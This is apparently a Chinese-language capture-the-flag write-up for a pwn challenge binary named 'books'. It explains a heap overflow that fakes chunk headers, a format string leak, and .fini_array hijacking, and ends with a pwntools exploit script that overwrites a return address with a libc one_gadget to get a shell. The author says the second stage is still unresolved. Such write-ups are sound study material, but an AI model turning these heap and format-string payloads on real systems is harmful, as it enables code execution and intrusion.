daliy pwn 1
知识点
堆溢出,格式化字符串,.fini_array劫持
堆溢出
在edit_order
函数中,存在溢出
利用溢出可以覆盖下一个chunk,进而伪造pre_size和size,然后free达到chunk_overlap,不过需要注意的是如果伪造的size不是fastbin大小,而是small bin 或者large bin 那么free的时候尝试后先或者前向合并,此时会访问下下个chunk,所以覆盖的时候至少向下伪造三个chunk,或者先free然后覆盖free chunk 的size.
格式化字符串
此外还存在一处格式化字符串漏洞
不过利用方式比较难,不能直接利用堆溢出直接覆盖dest,因为每次edit后都会重新写dest,所以覆盖也没有用。
不过可以考虑submit部分
每次submit都会将order1和order2的内容拼接起来放到一个0x140的chunk中,结合堆溢出漏洞,伪造0x140的chunk(order 2)然后free,submit时malloc的chunk将会是order2的chunk
合理的控制order1中的内容长度和fmt payload 在strcat时可以将dest中的内容覆盖为fmt payload.
.fini_array 劫持
首先了解一下什么是.fini_array,在main函数执行后会执行.fini_array中的函数,.fini_array存放的是对应的函数指针(地址),存放main调用前执行的函数指针的数组称为.init_array。
一个简单的demo
//
// Created by badmonkey on 2021/4/11.
//
#include "stdio.h"
#include "stdlib.h"
__attribute__((constructor)) void init_function(){
printf("function executed before main\n");
}
__attribute__((destructor)) void fini_function(){
printf("function executed after main\n");
}
int main(){
printf("init_function address = %p\n",init_function);
printf("fini_function address = %p\n",fini_function);
return 0;
}
// gcc fini_array.c -o fini_array -g -no-pie
查看init array和fini array 字段
看一下数组中的元素,恰好是init_function 和fini_function的地址。
所以可以通过劫持.fini_array的首元素,控制程序流重新返回main,达到重复利用的效果。
问题
首先利用堆溢出伪造一个0x150的chunk(order2),然后delete order2 ,submit时malloc得到该chunk此时会将chunk1和chunk2的内容覆盖到dest,在chunk1中构造fmtstr 泄漏libc地址和返回地址在栈中的位置,利用fmt覆写返回地址为main_address,不过比较奇怪的是,返回main后,再次malloc的堆并不是连续的,可能是因为第一次堆溢出的破坏了top chunk,所以重新mmap了一个堆??总之第二次调用main函数时的堆和第一次的堆不是连续的,对于第一次利用,可以采用先伪造order2 的大小然后free,或者先free后伪造大小,不过对于第二次的利用,只能先free后伪造order2大小,先伪造大小然后free会出现double free or corruption (out)
,google了一下发现是nextchunk越界了超过了top chunk的大小,但是尝试伪造了一下topchunk 仍然不可行。 等待解决。。
from pwn import *
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = "debug"
context.terminal = ['konsole', '-e']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./books"
book = ELF("./books")
libc = ELF('./libc-2.23.so')
p = process("./books")
def edit(order, name):
p.recvuntil('5: Submit\n')
p.sendline(str(order))
p.recvuntil(' order:\n')
p.sendline(name)
def delete(order):
p.recvuntil('5: Submit\n')
p.sendline(str(order+2))
def submit(payload):
p.recvuntil('5: Submit\n')
p.sendline('5' + payload)
p.recvuntil('Order 1: ')
p.recvuntil('Order 2: Order 1: ')
fini_array0 = 0x6011B8
main_addr = 0x400A39
# delete(2)
payload = b"%2617c%13$hn.%31$p~%28$p;".ljust(0x74,b'b').ljust(0x88,b"\x00")
payload += p64(0x151)+b"\x00"*0x140+p64(0x150)+p64(0x21)+b"\x00"*0x10+p64(0x20)+p64(0x21)+b"\x00"*0x10
edit(1,payload)
# gdb.attach(p)
delete(2)
p.recvuntil("5: Submit\n")
p.sendline(b"5".ljust(8,b"\x00")+p64(fini_array0))
p.recvuntil(".0x")
libc_start_address = int(p.recvuntil("~")[:-1],16)
p.recvuntil(b"0x")
stack_address = int(p.recvuntil(";")[:-1],16)
#
#
libc_base = libc_start_address - 240 - libc.symbols["__libc_start_main"]
print("leak libc = %s"%hex(libc_base))
one_shell = libc_base+0x45206
ret_address = stack_address+0x28-320
one_shell1 = int(hex(one_shell)[-2:],16)
one_shell2 = int(hex(one_shell)[-6:-2],16)
#
# gdb.attach(p)
delete(2)
#
payload2 = b"%"+str(one_shell1).encode()+b"c%13$hhn"+"%"+str(one_shell2-one_shell1).encode()+b"c%14$hn"
payload2 = payload2.ljust(0x90-28,b"b").ljust(0x88,b"\x00")
payload2 += p64(0x151)
# payload2 += p64(0x151)+b"\x00"*0x140+p64(0x150)+p64(0x21)+b"\x00"*0x10+p64(0x20)+p64(0x21)+b"\x00"*10+p64(0x20)+p64(0x202020)
edit(1,payload2)
# gdb.attach(p)
p.sendline(b"5".ljust(8,b"\x00")+p64(ret_address)+p64(ret_address+1))
# print payload2
p.interactive()